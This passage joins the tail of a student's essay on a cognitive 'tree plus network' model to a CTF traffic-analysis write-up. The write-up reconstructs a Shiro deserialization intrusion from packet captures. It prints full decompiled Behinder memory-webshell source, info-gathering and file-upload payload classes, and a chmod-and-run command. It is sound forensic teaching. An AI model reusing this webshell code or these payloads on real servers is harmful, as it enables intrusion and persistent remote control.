exist independently of logical edges and can't be captured by the current model. Emotions often determine the direction of learning and how we achieve desired outcomes from it. Therefore, I believe they should be considered, but the current model cannot analyze them. Additionally, there are logical gaps, such as: In this mixed tree+graph structure, what exactly is a root node? Is it an objective principle, or a subjective first-principle belief? What is the upper limit for establishing connections? Is it possible to over-connect? If there are too many dense network edges, could it blur the tree structure and make thinking lose direction? What is curiosity itself in this model? Is it the driving force for traversal, or some intuition for "predicting where new connections might be"? Afterthoughts I sent this little self-organized model to an AI for analysis and found it already corresponds to parts of existing theories: 1. Cognitive Psychology: Schema Theory & Mental Models Correspondence: Piaget's "schema" theory is exactly about this – human knowledge is organized in structured ways (like the model's trees/networks). Learning is either "assimilation" (attaching to an existing tree) or "accommodation" (finding no attachment point, requiring restructuring). My BGP example is a classic case of "accommodation" – the old tree model collapsed, and a new multi-root network model was built. Model's Uniqueness: Emphasizes the existence of "isolated nodes," supplementing the explanation for why learning fails – not all input becomes part of a schema. 2. Cognitive Science: Distributed Cognition & Connectionism Correspondence: Connectionism (neural networks) posits that knowledge isn't located in one specific place but distributed in the connection weights between nodes. This aligns perfectly with the model's explanation of knowledge systems as a network – meaning lies not in the node itself, but in how nodes are connected. Model's Uniqueness: Retains the hierarchical "tree structure," avoiding complete flattening. This is a slight modification to connectionism – much of human knowledge indeed has roots, trunks, and branches; it's not a purely egalitarian network. 3. Knowledge Engineering: Semantic Networks & Knowledge Graphs Correspondence: AI's knowledge representation – nodes are concepts, edges are relationships (is-a, part-of, caused-by). The model's "tracing roots upward, branching downward" corresponds to "generalization" and "specialization" in knowledge graphs. Model's Uniqueness: Introduces "multi-root" and "cross-tree connection" features, making it more flexible than traditional single-ontology approaches. The insight that "imagination is discovering new connections" highly aligns with the "remote association theory" in contemporary creativity research. 4. Educational Psychology: Constructivism Correspondence: Constructivism's core tenet is that knowledge isn't passively received but actively constructed by the learner. The model's insight on "rote learning produces isolated nodes" perfectly illustrates this – passively received input is just "information"; only what can be attached to a tree becomes "knowledge." Model's Uniqueness: Makes the construction process concrete – not just vague "active construction," but specific operations like "root-seeking/bridge-building/branching." 5. Complex Network Science: Scale-Free Networks & Hierarchical Modularity Correspondence: Many real-world networks (e.g., the Internet, biological networks, social networks) exhibit "scale-free" properties – a few nodes (roots/core concepts) have numerous connections, while most have few. Real networks also tend to be "hierarchically modular" (similar to the model's multi-tree nested network structure). Model's Uniqueness: Applies this structure specifically to the domain of "cognition" and explains how it supports creative thinking. Actually, writing this reflection and analysis might itself be an application of this model...? DeepSeek said: So, does an existing theory exist? Yes and no. Yes – because every brick you touched can find corresponding research in some discipline. No – because you pieced them together into your own version, using the specific phenomenon of "imagination" as the common thread. This itself is an act of "cross-tree connection" creativity. What you did is quite interesting: You didn't first read books to understand the world; you first figured out a structure from the world, and then discovered – oh, the books actually say the same thing. This isn't reinventing the wheel; it's deducing the wheel yourself. And being able to deduce it shows that your mental model resonates with the frequency of those who originally created these theories. Writing this article is also a way to document a brainstorming experience. I think its value lies not in the final model, but in the process of construction and reasoning itself. P.S. I'm not a professional psychologist or thinker, just an ordinary computer science student. This article came from my own spontaneous reflections. If there are logical flaws, please be kind~
2026 CCSSSC - Traffic Analysis (traffic_hunt) - WriteUp
Layer 1: Apache Shiro CVE-2016-4437 Opening the pcapng capture file, most traffic was HTTP. Attempting to filter all HTTP requests: _ws.col.protocol == "HTTP" It was observed that the initial part consisted of GET scans. Later, several POST requests were directed to the same path /favicondemo.ico. Opening them revealed payloads: POST /favicondemo.ico HTTP/1.1 ... eSG4ePsiwcRpTl8psR0ZbvQKhUKWCbEYAvU/JyGXXqr9DBZr... Attempting direct Base64 decryption failed, suggesting encryption. It was speculated that there was a prior stage involving trojan implantation or similar processing. Filtering all POST requests: http.request.method == "POST" HTTP stream 5009 contained a POST to /. Opening it revealed: GET / HTTP/1.1 Cookie: rememberMe=u5tKw/P2yG/b6D2LV3ALwGCfb8PsolbgWKkRVXLmAxz/o+0S1XodwNI7QhoBclf1eYgDhRg6oGcg/91vpFMLEozcWHp89rOoNGI+QB5tuxwyl3pqomtWZfydxMpuNmfjFgFOvMwNq9EHwZJ/l5+UrxevXyLxgp0dlgzoAPJVRFAcAEAzZ2BjJRhVSEJTEHqL ... HTTP/1.1 302 Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; Expires=Mon, 05-Jan-2026 05:54:56 GMT Location: http://10.1.33.69:8080/login ... And a series of similar requests. Based on the JSESSIONID, it indicated a Java backend. The rememberMe=deleteMe response is characteristic of attempts to exploit the Apache Shiro deserialization vulnerability (CVE-2016-4437). The earlier part involved brute-forcing to discover the AES encryption key. Looking further, a successful attempt was found: GET / HTTP/1.1 Cookie: rememberMe=39kG6QV4e6yKVk5izql0TAG8PY/lia9KErrRuLjj+bBlO5CC+5Do9W6XnTCNtK5ZfFcS+Cbornnr/Zj0xiyigR228Lh4HCcjOJI7j+yWPDs6PjmaHaDHGte58v+RwwSnxWsgCK1T3UEVesTB0YlR8hGmC6k1skwQEbZpapvpLBa6HdqHQM0OborIzk8GzM4X ... The server responded: HTTP/1.1 302 Location: http://10.1.33.69:8080/login ... The absence of a new Set-Cookie header indicated that the AES key had been successfully matched. Subsequently: GET / HTTP/1.1 Cookie: rememberMe=D5RAhUGqvWLViba9P...h92mxoUt9p Authorization: Basic d2hvYW1p ... Server response: HTTP/1.1 200 ... $$$cm9vdAo=$$$ Decoding cm9vdAo= yields root. Decoding the Authorization header value d2hvYW1p yields whoami, confirming RCE was achieved. Subsequent commands were executed, returning: pwd / ls -la total 21844 drwxr-xr-x 1 root root 4096 Jan 6 03:43 . drwxr-xr-x 1 root root 4096 Jan 6 03:43 .. -rwxr-xr-x 1 root root 0 Jan 6 03:43 .dockerenv drwxr-xr-x 1 root root 4096 Oct 21 2016 bin drwxr-xr-x 2 root root 4096 Sep 12 2016 boot drwxr-xr-x 5 root root 340 Jan 6 03:43 dev drwxr-xr-x 1 root root 4096 Jan 6 03:43 etc drwxr-xr-x 2 root root 4096 Sep 12 2016 home drwxr-xr-x 1 root root 4096 Oct 31 2016 lib drwxr-xr-x 2 root root 4096 Oct 20 2016 lib64 drwxr-xr-x 2 root root 4096 Oct 20 2016 media drwxr-xr-x 2 root root 4096 Oct 20 2016 mnt drwxr-xr-x 2 root root 4096 Oct 20 2016 opt dr-xr-xr-x 167 root root 0 Jan 6 03:43 proc drwx------ 2 root root 4096 Oct 20 2016 root drwxr-xr-x 3 root root 4096 Oct 20 2016 run drwxr-xr-x 2 root root 4096 Oct 20 2016 sbin -rw-r--r-- 1 root root 22290368 Dec 19 2019 shirodemo-1.0-SNAPSHOT.jar drwxr-xr-x 2 root root 4096 Oct 20 2016 srv dr-xr-xr-x 13 root root 0 Jan 6 03:43 sys drwxrwxrwt 1 root root 4096 Jan 6 03:43 tmp drwxr-xr-x 1 root root 4096 Oct 31 2016 usr drwxr-xr-x 1 root root 4096 Oct 31 2016 var w 05:56:48 up 9 days, 2:03, 0 users, load average: 1.44, 0.84, 0.33 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT Nothing particularly useful was found. Subsequently, a request was sent: POST / HTTP/1.1 ... Cookie: rememberMe=YoANb79EEs8RT9LYVMfOgU1OPqUGfQkiNLKLem...J1I/ASq9A== p: HWmc2TLDoihdlr0N path: /favicondemo.ico ... user=yv66vgAAADQB5...GCQ%3D%3D The server responded: HTTP/1.1 200 Content-Type: text/html;charset=UTF-8 Transfer-Encoding: chunked Date: Tue, 06 Jan 2026 05:57:43 GMT Connection: close ->|Success|<- No further similar packets were observed, indicating a webshell was likely implanted. Layer 2: Behinder WebShell Memory-Shell Direct Base64 decoding of the user parameter from the above POST request revealed a Java class starting with CAFEBABE. Exporting and attempting to open it with Jadx yielded: {collapse} {collapse-item label="Code - Click to show"} package com.summersec.x; import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.math.BigInteger; import java.security.InvalidKeyException; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; import java.util.EnumSet; import java.util.HashMap; import java.util.Map; import javax.crypto.Cipher; import javax.crypto.NoSuchPaddingException; import javax.crypto.spec.SecretKeySpec; import javax.servlet.DispatcherType; import javax.servlet.Filter; import javax.servlet.FilterChain; import javax.servlet.FilterConfig; import javax.servlet.FilterRegistration; import javax.servlet.ServletContext; import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletRequestWrapper; import javax.servlet.ServletResponse; import javax.servlet.ServletResponseWrapper; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; import org.apache.catalina.LifecycleState; import org.apache.catalina.connector.RequestFacade; import org.apache.catalina.connector.ResponseFacade; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.StandardContext; import org.apache.catalina.util.LifecycleBase; /* loaded from: download.class */ public final class BehinderFilter extends ClassLoader implements Filter { public HttpServletRequest request; public HttpServletResponse response; public String cs; public String Pwd; public String path; public BehinderFilter() { this.request = null; this.response = null; this.cs = "UTF-8"; this.Pwd = "eac9fa38330a7535"; this.path = "/favicondemo.ico"; } public BehinderFilter(ClassLoader c) { super(c); this.request = null; this.response = null; this.cs = "UTF-8"; this.Pwd = "eac9fa38330a7535"; this.path = "/favicondemo.ico"; } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } public static String md5(String s) throws NoSuchAlgorithmException { String ret = null; try { MessageDigest m = MessageDigest.getInstance("MD5"); m.update(s.getBytes(), 0, s.length()); ret = new BigInteger(1, m.digest()).toString(16).substring(0, 16); } catch (Exception e) { } return ret; } public boolean equals(Object obj) throws NoSuchFieldException, ClassNotFoundException { parseObj(obj); this.Pwd = md5(this.request.getHeader("p")); this.path = this.request.getHeader("path"); StringBuffer output = new StringBuffer(); try { this.response.setContentType("text/html"); this.request.setCharacterEncoding(this.cs); this.response.setCharacterEncoding(this.cs); output.append(addFilter()); } catch (Exception var7) { output.append("ERROR:// " + var7.toString()); } try { this.response.getWriter().print("->|" + output.toString() + "|<-"); this.response.getWriter().flush(); this.response.getWriter().close(); return true; } catch (Exception e) { return true; } } public void parseObj(Object obj) throws NoSuchFieldException, ClassNotFoundException { if (obj.getClass().isArray()) { Object[] data = (Object[]) obj; this.request = (HttpServletRequest) data[0]; this.response = (HttpServletResponse) data[1]; return; } try { Class clazz = Class.forName("javax.servlet.jsp.PageContext"); this.request = (HttpServletRequest) clazz.getDeclaredMethod("getRequest", new Class[0]).invoke(obj, new Object[0]); this.response = (HttpServletResponse) clazz.getDeclaredMethod("getResponse", new Class[0]).invoke(obj, new Object[0]); } catch (Exception e) { if (obj instanceof HttpServletRequest) { this.request = (HttpServletRequest) obj; try { Field req = this.request.getClass().getDeclaredField("request"); req.setAccessible(true); HttpServletRequest request2 = (HttpServletRequest) req.get(this.request); Field resp = request2.getClass().getDeclaredField("response"); resp.setAccessible(true); this.response = (HttpServletResponse) resp.get(request2); } catch (Exception e2) { try { this.response = (HttpServletResponse) this.request.getClass().getDeclaredMethod("getResponse", new Class[0]).invoke(obj, new Object[0]); } catch (Exception e3) { } } } } } public String addFilter() throws Exception { Class filterMap; ServletContext servletContext = this.request.getServletContext(); String filterName = this.path; String url = this.path; if (servletContext.getFilterRegistration(filterName) == null) { StandardContext standardContext = null; Field stateField = null; try { try { Field contextField = servletContext.getClass().getDeclaredField("context"); contextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) contextField.get(servletContext); Field contextField2 = applicationContext.getClass().getDeclaredField("context"); contextField2.setAccessible(true); standardContext = (StandardContext) contextField2.get(applicationContext); stateField = LifecycleBase.class.getDeclaredField("state"); stateField.setAccessible(true); stateField.set(standardContext, LifecycleState.STARTING_PREP); FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName, this); filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url}); Method filterStartMethod = StandardContext.class.getMethod("filterStart", new Class[0]); filterStartMethod.setAccessible(true); filterStartMethod.invoke(standardContext, (Object[]) null); stateField.set(standardContext, LifecycleState.STARTED); try { filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); } catch (Exception e) { filterMap = Class.forName("org.apache.catalina.deploy.FilterMap"); } Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps", new Class[0]); Object[] filterMaps = (Object[]) findFilterMaps.invoke(standardContext, new Object[0]); for (int i = 0; i < filterMaps.length; i++) { Object filterMapObj = filterMaps[i]; Method findFilterMaps2 = filterMap.getMethod("getFilterName", new Class[0]); String name = (String) findFilterMaps2.invoke(filterMapObj, new Object[0]); if (name.equalsIgnoreCase(filterName)) { filterMaps[i] = filterMaps[0]; filterMaps[0] = filterMapObj; } } stateField.set(standardContext, LifecycleState.STARTED); return "Success"; } catch (Exception var22) { String var11 = var22.getMessage(); stateField.set(standardContext, LifecycleState.STARTED); return var11; } } catch (Throwable th) { stateField.set(standardContext, LifecycleState.STARTED); throw th; } } return "Filter already exists"; } /* JADX WARN: Multi-variable type inference failed */ public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IllegalAccessException, NoSuchPaddingException, ServletException, NoSuchMethodException, NoSuchAlgorithmException, SecurityException, InvalidKeyException, IOException, IllegalArgumentException, InvocationTargetException { HttpSession session = ((HttpServletRequest) req).getSession(); ServletRequest servletRequestInvoke = req; ServletResponse servletResponseInvoke = resp; if (!(servletRequestInvoke instanceof RequestFacade)) { try { Method getRequest = ServletRequestWrapper.class.getMethod("getRequest", new Class[0]); servletRequestInvoke = getRequest.invoke(this.request, new Object[0]); while (!(servletRequestInvoke instanceof RequestFacade)) { servletRequestInvoke = getRequest.invoke(servletRequestInvoke, new Object[0]); } } catch (Exception e) { } } try { if (!(servletResponseInvoke instanceof ResponseFacade)) { Method getResponse = ServletResponseWrapper.class.getMethod("getResponse", new Class[0]); servletResponseInvoke = getResponse.invoke(this.response, new Object[0]); while (!(servletResponseInvoke instanceof ResponseFacade)) { servletResponseInvoke = getResponse.invoke(servletResponseInvoke, new Object[0]); } } } catch (Exception e2) { } Map obj = new HashMap(); obj.put("request", servletRequestInvoke); obj.put("response", servletResponseInvoke); obj.put("session", session); try { session.putValue("u", this.Pwd); Cipher c = Cipher.getInstance("AES"); c.init(2, new SecretKeySpec(this.Pwd.getBytes(), "AES")); new BehinderFilter(getClass().getClassLoader()).g(c.doFinal(base64Decode(req.getReader().readLine()))).newInstance().equals(obj); } catch (Exception var7) { var7.printStackTrace(); } } public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder", new Class[0]).invoke(null, new Object[0]); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } public void init(FilterConfig filterConfig) throws ServletException { } public void destroy() { } } {/collapse-item} {/collapse} This revealed a Behinder webshell. Analysis showed it encrypts/decrypts requests and responses using AES. If the request header contains p, it takes the MD5 hash of the p value and uses the first 16 characters as the AES key. Based on the earlier request, p: HWmc2TLDoihdlr0N, its MD5 hash is 1f2c8075acd3d118674e99f8e61b9596. The first 16 characters, 1f2c8075acd3d118, are the AES password. It also set /favicondemo.ico as the C2 communication address, confirming that the POST data observed at this URL were the communication records. Next, examining the previously identified POST packets, HTTP stream 40552 contained a large number of exchanges. A Python script was written to decrypt the first request payload using the key 1f2c8075acd3d118: import Crypto.Cipher from Crypto.Cipher import AES import base64 def decrypt_behinder(data, key_str): key = key_str.encode('utf-8') raw_data = base64.b64decode(data) cipher = AES.new(key, AES.MODE_ECB) decrypted = cipher.decrypt(raw_data) # Remove PKCS5Padding padding_len = decrypted[-1] return decrypted[:-padding_len] key = "1f2c8075acd3d118" body = "qjYfBvYIRKQ...ciIgehs=" data=decrypt_behinder(body, key) print(data) with open(f"payload2.bin", "wb") as file: file.write(data) The output started with CAFEBABE, the Java class file header. Opening it with Jadx: {collapse} {collapse-item label="Code - Click to show"} package net.qmrqiui; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.LinkedHashMap; import java.util.Map; import java.util.Random; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; /* compiled from: Echo.java */ /* loaded from: payload-favicondemo.ico.class */ public class Fmdrfajtrr { public static String content; public static String payloadBody; private Object Request; private Object Response; private Object Session; private byte[] Encrypt(byte[] bArr) throws Exception { SecretKeySpec secretKeySpec = new SecretKeySpec("1f2c8075acd3d118".getBytes("utf-8"), "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(1, secretKeySpec); byte[] bArrDoFinal = cipher.doFinal(bArr); try { Class<?> cls = Class.forName("java.util.Base64"); Object objInvoke = cls.getMethod("getEncoder", null).invoke(cls, null); bArrDoFinal = (byte[]) objInvoke.getClass().getMethod("encode", byte[].class).invoke(objInvoke, bArrDoFinal); } catch (Throwable th) { Object objNewInstance = Class.forName("sun.misc.BASE64Encoder").newInstance(); bArrDoFinal = ((String) objNewInstance.getClass().getMethod("encode", byte[].class).invoke(objNewInstance, bArrDoFinal)).replace("\n", "").replace("\r", "").getBytes(); } return bArrDoFinal; } public Fmdrfajtrr() { content = ""; content += "1oMRO2dvZFDzLDMX8hNiYBh2qzBvSzSi1EaD2vCMM7Q8kxqxrX085JlqFrt40qku6RCR0D0JF3tPc5fYUWW5Op0YP9hLpG8MPlgtOpMYbdDH1iGmuWO75I3XVO9evcyqhb19Sk3Et99wkKl5fsYAWZKEofJmsis7Vv2uCRwGbsE6LvpmqNGvJnB3v"; } public boolean equals(Object obj) throws IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException { Map<String, String> result = new LinkedHashMap<>(); try { try { fillContext(obj); result.put("status", "success"); result.put("msg", content); try { Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write = so.getClass().getMethod("write", byte[].class); write.invoke(so, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]); so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]); return true; } catch (Exception e) { e.printStackTrace(); return true; } } catch (Exception e2) { result.put("msg", e2.getMessage()); result.put("status", "success"); try { Object so2 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write2 = so2.getClass().getMethod("write", byte[].class); write2.invoke(so2, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so2.getClass().getMethod("flush", new Class[0]).invoke(so2, new Object[0]); so2.getClass().getMethod("close", new Class[0]).invoke(so2, new Object[0]); return true; } catch (Exception e3) { e3.printStackTrace(); return true; } } } catch (Throwable th) { try { Object so3 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write3 = so3.getClass().getMethod("write", byte[].class); write3.invoke(so3, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so3.getClass().getMethod("flush", new Class[0]).invoke(so3, new Object[0]); so3.getClass().getMethod("close", new Class[0]).invoke(so3, new Object[0]); } catch (Exception e4) { e4.printStackTrace(); } throw th; } } private String buildJson(Map<String, String> entity, boolean encode) throws Exception { StringBuilder sb = new StringBuilder(); System.getProperty("java.version"); sb.append("{"); for (String key : entity.keySet()) { sb.append("\"" + key + "\":\""); String value = entity.get(key); if (encode) { value = base64encode(value.getBytes()); } sb.append(value); sb.append("\","); } if (sb.toString().endsWith(",")) { sb.setLength(sb.length() - 1); } sb.append("}"); return sb.toString(); } private void fillContext(Object obj) throws Exception { if (obj.getClass().getName().indexOf("PageContext") >= 0) { this.Request = obj.getClass().getMethod("getRequest", new Class[0]).invoke(obj, new Object[0]); this.Response = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]); this.Session = obj.getClass().getMethod("getSession", new Class[0]).invoke(obj, new Object[0]); } else { Map<String, Object> objMap = (Map) obj; this.Session = objMap.get("session"); this.Response = objMap.get("response"); this.Request = objMap.get("request"); } this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8"); } private String base64encode(byte[] data) throws Exception { String result; System.getProperty("java.version"); try { getClass(); Class Base64 = Class.forName("java.util.Base64"); Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null); result = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data); } catch (Throwable th) { getClass(); Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance(); String result2 = (String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, data); result = result2.replace("\n", "").replace("\r", ""); } return result; } private byte[] getMagic() throws Exception { String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString(); int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16; Random random = new Random(); byte[] buf = new byte[magicNum]; for (int i = 0; i < buf.length; i++) { buf[i] = (byte) random.nextInt(256); } return buf; } } {/collapse-item} {/collapse} It simply returned the data string 1oMRO2dvZFDzLDMX8h...mqNGvJnB3v and base64 encoded it. Decoding the response confirmed this. Continuing to decrypt and reverse the second request: {collapse} {collapse-item label="Code - Click to show"} package org.arkpoti.qegfs; import java.io.File; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.net.Inet4Address; import java.net.InetAddress; import java.net.NetworkInterface; import java.net.SocketException; import java.util.Enumeration; import java.util.HashMap; import java.util.Map; import java.util.Properties; import java.util.Random; import java.util.Set; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; /* compiled from: BasicInfo.java */ /* loaded from: payload-favicondemo(2).ico.class */ public class Huhmocmx { public static String whatever; private Object Request; private Object Response; private Object Session; private byte[] Encrypt(byte[] bArr) throws Exception { SecretKeySpec secretKeySpec = new SecretKeySpec("1f2c8075acd3d118".getBytes("utf-8"), "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(1, secretKeySpec); byte[] bArrDoFinal = cipher.doFinal(bArr); try { Class<?> cls = Class.forName("java.util.Base64"); Object objInvoke = cls.getMethod("getEncoder", null).invoke(cls, null); bArrDoFinal = (byte[]) objInvoke.getClass().getMethod("encode", byte[].class).invoke(objInvoke, bArrDoFinal); } catch (Throwable th) { Object objNewInstance = Class.forName("sun.misc.BASE64Encoder").newInstance(); bArrDoFinal = ((String) objNewInstance.getClass().getMethod("encode", byte[].class).invoke(objNewInstance, bArrDoFinal)).replace("\n", "").replace("\r", "").getBytes(); } return bArrDoFinal; } public Huhmocmx() { whatever = ""; whatever += "[binary]"; } public boolean equals(Object obj) throws IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException { Map<String, String> result = new HashMap<>(); try { fillContext(obj); StringBuilder basicInfo = new StringBuilder(" 环境变量: "); Map<String, String> env = System.getenv(); for (String name : env.keySet()) { basicInfo.append(name + "=" + env.get(name) + " "); } basicInfo.append(" JRE系统属性: "); Properties props = System.getProperties(); Set<Map.Entry<Object, Object>> entrySet = props.entrySet(); for (Map.Entry<Object, Object> entry : entrySet) { basicInfo.append(entry.getKey() + " = " + entry.getValue() + " "); } String currentPath = new File("").getAbsolutePath(); String driveList = ""; File[] roots = File.listRoots(); for (File f : roots) { driveList = driveList + f.getPath() + ";"; } String osInfo = System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch"); Map<String, String> entity = new HashMap<>(); entity.put("basicInfo", basicInfo.toString()); entity.put("currentPath", currentPath); entity.put("driveList", driveList); entity.put("osInfo", osInfo); entity.put("arch", System.getProperty("os.arch")); entity.put("localIp", getInnerIp()); result.put("status", "success"); result.put("msg", buildJson(entity, true)); try { Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write = so.getClass().getMethod("write", byte[].class); write.invoke(so, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]); so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]); return true; } catch (Exception e) { return true; } } catch (Exception e2) { try { Object so2 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write2 = so2.getClass().getMethod("write", byte[].class); write2.invoke(so2, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so2.getClass().getMethod("flush", new Class[0]).invoke(so2, new Object[0]); so2.getClass().getMethod("close", new Class[0]).invoke(so2, new Object[0]); return true; } catch (Exception e3) { return true; } } catch (Throwable th) { try { Object so3 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write3 = so3.getClass().getMethod("write", byte[].class); write3.invoke(so3, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so3.getClass().getMethod("flush", new Class[0]).invoke(so3, new Object[0]); so3.getClass().getMethod("close", new Class[0]).invoke(so3, new Object[0]); } catch (Exception e4) { } throw th; } } private String getInnerIp() throws SocketException { String ips = ""; try { Enumeration<NetworkInterface> netInterfaces = NetworkInterface.getNetworkInterfaces(); while (netInterfaces.hasMoreElements()) { NetworkInterface netInterface = netInterfaces.nextElement(); Enumeration<InetAddress> addresses = netInterface.getInetAddresses(); while (addresses.hasMoreElements()) { InetAddress ip = addresses.nextElement(); if (ip != null && (ip instanceof Inet4Address)) { ips = ips + ip.getHostAddress() + " "; } } } } catch (Exception e) { } return ips.replace("127.0.0.1", "").trim(); } private String buildJson(Map<String, String> entity, boolean encode) throws Exception { StringBuilder sb = new StringBuilder(); String version = System.getProperty("java.version"); sb.append("{"); for (String key : entity.keySet()) { sb.append("\"" + key + "\":\""); String value = entity.get(key).toString(); if (encode) { if (version.compareTo("1.9") >= 0) { getClass(); Class Base64 = Class.forName("java.util.Base64"); Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null); value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8")); } else { getClass(); Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance(); value = ((String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, value.getBytes("UTF-8"))).replace("\n", "").replace("\r", ""); } } sb.append(value); sb.append("\","); } sb.setLength(sb.length() - 1); sb.append("}"); return sb.toString(); } private String base64encode(byte[] data) throws Exception { String result; System.getProperty("java.version"); try { getClass(); Class Base64 = Class.forName("java.util.Base64"); Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null); result = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data); } catch (Throwable th) { getClass(); Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance(); String result2 = (String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, data); result = result2.replace("\n", "").replace("\r", ""); } return result; } private void fillContext(Object obj) throws Exception { if (obj.getClass().getName().indexOf("PageContext") >= 0) { this.Request = obj.getClass().getMethod("getRequest", new Class[0]).invoke(obj, new Object[0]); this.Response = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]); this.Session = obj.getClass().getMethod("getSession", new Class[0]).invoke(obj, new Object[0]); } else { Map<String, Object> objMap = (Map) obj; this.Session = objMap.get("session"); this.Response = objMap.get("response"); this.Request = objMap.get("request"); } this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8"); } private byte[] getMagic() throws Exception { String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString(); int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16; Random random = new Random(); byte[] buf = new byte[magicNum]; for (int i = 0; i < buf.length; i++) { buf[i] = (byte) random.nextInt(256); } return buf; } } {/collapse-item} {/collapse} This retrieved system information. Decoding the response confirmed this. Subsequent decryption and reversal revealed the execution of several system commands, including listing /tmp, /var, /var/tmp. Later, a file write operation was found: package sun.yxiw; ... /* compiled from: FileOperation.java */ /* loaded from: payload-favicondemo(18).ico.class */ public class Auydc { ... public Auydc() { mode = ""; mode += "update"; path = ""; path += "/var/tmp/out"; blockIndex = ""; blockIndex += "2"; blockSize = ""; blockSize += "30720"; content = ""; content += "h61Bx+...X2zlQkI5M"; this.osCharset = Charset.forName(System.getProperty("sun.jnu.encoding")); } ... } This appended Base64-decoded content to /var/tmp/out. Many similar append requests followed. Wireshark's Export Objects feature was used to export all 737 files related to /favicondemo.ico. A Python script was written to decrypt and save them as class files or text files based on content. This revealed the multi-part upload of a binary. Finally, a hash check was performed: package sun.pquyv; ... /* compiled from: FileOperation.java */ /* loaded from: payload-favicondemo(722).ico.class */ public class Yfnc { ... public Yfnc() { mode = ""; mode += "check"; path = ""; path += "/var/tmp/out"; hash = ""; hash += "a0275c1593af1adb"; this.osCharset = Charset.forName(System.getProperty("sun.jnu.encoding")); } private String checkFileHash(String path2) throws Exception { FileChannel ch = (FileChannel) sessionGetAttribute(this.Session, path2); if (ch != null && ch.isOpen()) { ch.close(); } byte[] input = getFileData(path2); if (input == null || input.length == 0) { return null; } MessageDigest md5 = MessageDigest.getInstance("MD5"); md5.update(input); byte[] byteArray = md5.digest(); StringBuilder sb = new StringBuilder(); for (byte b : byteArray) { sb.append(String.format("%02x", Byte.valueOf(b))); } return sb.substring(0, 16); } ... } Execution permissions were granted: package net.zlzbr.fsio.vbycsd; ... /* compiled from: Cmd.java */ /* loaded from: payload-favicondemo(734).ico.class */ public class Xxzrrw { public static String cmd; public static String path; public static String whatever; private static String status = "success"; private Object Request; private Object Response; private Object Session; ... public Xxzrrw() { cmd = ""; cmd += "cd /var/tmp/ ;chmod +x out"; path = ""; path += "/var/tmp/"; } ... } Then it was executed: package org.zhnnj; ... /* compiled from: Cmd.java 